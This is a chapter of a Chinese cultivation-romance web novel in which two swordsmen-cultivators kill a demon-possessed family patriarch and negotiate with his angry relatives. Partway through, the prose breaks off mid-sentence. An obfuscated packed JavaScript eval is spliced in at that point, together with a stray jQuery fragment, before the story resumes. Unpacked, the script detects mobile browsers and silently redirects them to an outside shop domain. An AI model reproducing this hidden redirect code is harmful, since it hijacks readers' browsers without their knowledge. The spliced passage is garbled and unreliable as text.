文趣网 > 其他小说 > 失忆后和死对头有了崽 > 11. 心虚
    元鹤知道,她总是这样。

    明明受了阵法两个死门的反噬,都硬要撑着说没事。

    明明她知道那个阵法非她可以破除,她还是义无反顾上去了。

    她让他留下来保护这些修士们,便真的一个字都没再向他求助,而是一力承担起她认为自己应该承担的一切。

    不过他同样知道,她并非莽撞,她一定会成功的。

    元鹤拿出一颗丹药给谢蕴颜,道:“赶紧服下。”

    谢蕴颜此时五脏六腑剧痛,像被野兽撕咬,烈火焚烧,她本想忍着先处理好这边的事,再疗伤休整,但元鹤拿了丹药给她,她便接了过来。

    “这是什么药?”她还问了一句。

    元鹤心急如焚,生怕她有所损伤,却又不能让她看出来,于是只道:“反正不会毒死你。”

    谢蕴颜想笑,却牵动了伤处,只能龇牙咧嘴地把药吞了下去。

    这药一入腹中,便立刻如春泽万物,谢蕴颜感觉到自己迅速恢复了过来。

    “天霄宫的药,果真不错……”谢蕴颜喃喃,又对元鹤道,“我们赶紧去帮那几个修士把丹元找回来。”

    虽然阵法已破,那些修士们的丹元都还收在木偶中,他们此时根本无力取回,须得他们去相助才行。

    元鹤虽心疼她,但也不会阻止她,正要点头,却忽然感到魔氛弥漫。

    未及抬眼,他和谢蕴颜已经双双拔剑。

    来人竟是谢家家主谢秉。

    此时谢秉哪还有喜宴时那精神饱满,又德高望重的模样,他浑身紫黑如一段枯木,双眼已完全失去神采,只剩一片死水般的黑色。

    难道幕后之人就是谢秉?

    谢秉只是个不能修炼的普通人,照理说他也不能像邪修那样夺去他人丹元来增加自己的修为,难不成这些修士的丹元还另有他用?

    谢蕴颜对元鹤道:“尽量生擒。”

    他们一同提剑上前,原想着能迅速制住他,然而那日面对廖明的情形却再次出现。

    同样被魔息侵染的谢秉,也如当日廖明一般,不要命一样地朝他们袭来。

    与此同时,他身上所携带的魔息竟还比廖明要浓重许多,在谢蕴颜和元鹤逼近时又迸发弥散开来,几乎要将他们包围在这些浑浊之中。

    元鹤清楚魔息的厉害,怕谢蕴颜还是像方才破阵时那样不管不顾上去,忙对她道:“凝神!不要再进前!”

    谢蕴颜步子一顿,虽然还是想赶紧将谢秉擒住弄个明白,但还是听了元鹤的话,先守住自身。

    而就在她凝神的同时,又一股魔息再度弥漫。

    “不行,谢家主已经完全是一具行尸走肉了,”元鹤见状当即道,“他已经成了散布魔息的母体,若不除了他,这些散修受到魔息侵染,还是难逃一劫。”

    谢蕴颜刚刚说也只说的是尽量生擒,若是不行她不会不知变通,与元鹤相处这几日,也知他心思缜密,值得相信,于是闻言便要动手。

    谁知元鹤却将她的剑尖挑开,然后利落地一剑刺穿谢秉的胸膛。

    在元鹤的剑威中,谢秉体内魔息又一次爆开,谢蕴颜立刻掐诀结印,及时干净利落地驱除了逸散出来魔息。

    魔氛消弭,元鹤去查看了谢秉的尸首,谢蕴颜则去木偶中取出丹元,用灵力送回几位散修体内。

    很快,谢家的人也被惊扰了起来。

    见到这样的场景,谢家人登时惊恐不已。

    更何况乍然看见谢秉已经气绝身亡,有胆小的更是吓得委顿在地,想哭又不敢哭出来。

    谢蕴颜想要立即上前解释,然而却被元鹤拉了一下,向她轻轻一摇头。

    她有些不明所以,但思及自己可能在世间情理上有许多欠缺,便也暂时先不多语,毕竟总要给谢家人一些接受的时间。

    终于有一位看起来能主事的谢家人上前问谢蕴颜和元鹤:“二位修士,敢问这是怎么回事,我父亲为何会突然身亡?还有那些动静,究竟是怎么闹出来的?”

    元鹤先一步上前,对他说道:“谢老爷,我是天霄宫修士元鹤,谢家主是我所杀,那尸首上乃是我的剑痕,至于今日之事,且先听我说来。”

    他话音刚落,还没来得及继续说下去,谢老爷倒是没说什么,只是畏惧地看了看元鹤剑尖上的血,但周围已经有其他谢家人有了细碎怨言。

    “天霄宫修士就能在我们家中为非作歹吗?”

    “怕不是误伤了我们家主性命,才拿自己的名头来压人……”

    “……这事不能就这么算了,死的是我们家主,天霄宫眼中还有天道王法吗?”

    “哪来的人,他说是天霄宫的就是天霄宫的?我记得今日留宿的都是散修,怎会有天霄宫弟子?”

    虽然他们说得声音很轻,但修道之人耳力极佳,这些话一字不落地全都被谢蕴颜听了进去。

    谢蕴颜脸色稍变,若是方才一开始她就不管不顾上去一顿解说,谢家人此刻本就又害怕又激愤,恐怕真成了火上浇油,他们的情绪会更为激动。

    幸好元鹤拦了她一把。

    谢家人说的这些话自然也被元鹤听得一清二楚。

    他的表情被掩在面具之下,只有那棱角分明的唇紧紧抿了一下,但很快又放开。

    元鹤拿出自己的天霄宫令牌,擎在谢老爷面前,一面让他们看个分明,一面又将今夜所发生的事情说了一遍,这才收起自己的令牌。

    谢老爷自然无法接受:“这……这怎么可能,我父亲只是个凡人,而且已经八十多岁了,他怎么可能入魔?是不是弄错了?”

    旁边又有人道:“怕是一开始来我们谢家就别有企图,不行,不能就这么算了!”

    “对,一定要查个清楚,可怜我们家主那么大年纪了,还要受这种罪……”

    “真当我们谢家是好欺负的!”

    谢蕴颜听不下去,正要上前帮元鹤说话,元鹤就已经说道:“你们尽管请相信的人来为谢家做主,反正今日之事牵涉了二十多位修士,有些差点命丧你们谢家,你们就算想私了也要花一番力气。”

    元鹤说完,那些刚刚还在愤愤不平的谢家人便渐渐没了声响,一时都只是看看谢老爷。

    谢家虽不是修仙名门世家,但在霖川也有一定的名望,又有不少谢家子弟入了仙途,今夜的事若传出去,对谢家的清誉将是一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744143|209197||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个极大的打击,他们倒也不是不相信元鹤所说,只是想着找个人先出出气。

    但这个人明显不是他们能随便出气的。

    “此事不能传扬出去,”谢老爷连忙上前对元鹤赔笑道,“这位元鹤修士,我们一定会处理好这些事,还请你在天霄宫那边为我们描补一二,或者干脆就不要上报了。”

    元鹤的唇角扬了扬:“谢老爷,你确定你们真能解决谢府的问题?”

    谢老爷的脸色灰败下来,小心翼翼看看元鹤,可为了谢家的声誉,又很犹豫要不要请元鹤留下。

    就在他踌躇之际,自谢家那堆人之中,忽然有一个人上前来,向着元鹤一揖,声音清亮:“烦请两位修士留下为我们除去邪祟,还谢家清净。”

    谢老爷终是只看看说话的人,叹了一口气,默认了下来。

    元鹤打量了说话的人一番,问:“这位是?”

    “我叫司徒玉,”那人道,“是谢家主的孙婿。”

    谢蕴颜和元鹤不由对视一眼,这事总算可以顺利继续查下去了。

    司徒玉问谢蕴颜:“请问这位修士该如何称呼?”

    谢蕴颜只道:“我姓谢。”

    天下除了霖川谢氏,姓谢的人多了去了,只要不报名字,他们也不会知道她就是谢蕴颜。

    接下来,谢家先安顿了在场那二十多位修士,修士们刚刚死里逃生,虽身体虚弱,但也不愿再留在谢家,一个个都要告辞离开,谢家怕他们把这些事说出去,也只能咬牙砸了血本下去,终于换来这些修士们的对今日之事的绝不外扬。

    而谢蕴颜和元鹤也被重新安排了住所,好吃好喝先供起来了。

    这次要好一些,在谢蕴颜的强烈要求之下,两人被分在了同个院子的不同房间里。

    但元鹤很快便又跑来谢蕴颜这里。

    谢蕴颜正把卷卷从宝盒里抱出来放到床上,眼下暂时没什么事,先把他放出来遛一遛,谁知此时天色已经大亮,但卷卷还在呼呼大睡。

    元鹤过来看了一眼,笑道:“不会在你的储物囊里被晃晕了吧?”

    谢蕴颜直接没理元鹤。

    宝盒本就是一方天地,气场稳定,只要盖上盖子就稳稳当当的,怎么可能晃到卷卷。

    她不说话,元鹤也不介意,只是继续问道:“你怎么不说你也是谢家的人?”

    “说了又如何,不说又如何?”谢蕴颜幽幽一句,又道,“我的身世对于现下在做的事并无影响,况且若是说了,反而又有一些不必要的纠葛,不如不说。”

    元鹤又笑:“我本来还想看看你原本住的闺房在哪。”

    谢蕴颜脸上差点绷不住,忙道:“早就给别人住了,我回来也不可能立刻腾给我。”

    她说完,元鹤却忽然不说话了。

    谢蕴颜一开始倒没觉出来,半晌后才后知后觉,好久没听见元鹤的声音。

    她终于朝元鹤看去,却见元鹤也正在打量她。

    “你怎么了?”谢蕴颜莫名被他看得有一丝心虚。

    “谢蕴颜。”

    他就这样望着她,银色面具下的眸子像井水一般幽深,同样莫名地叫了她一声。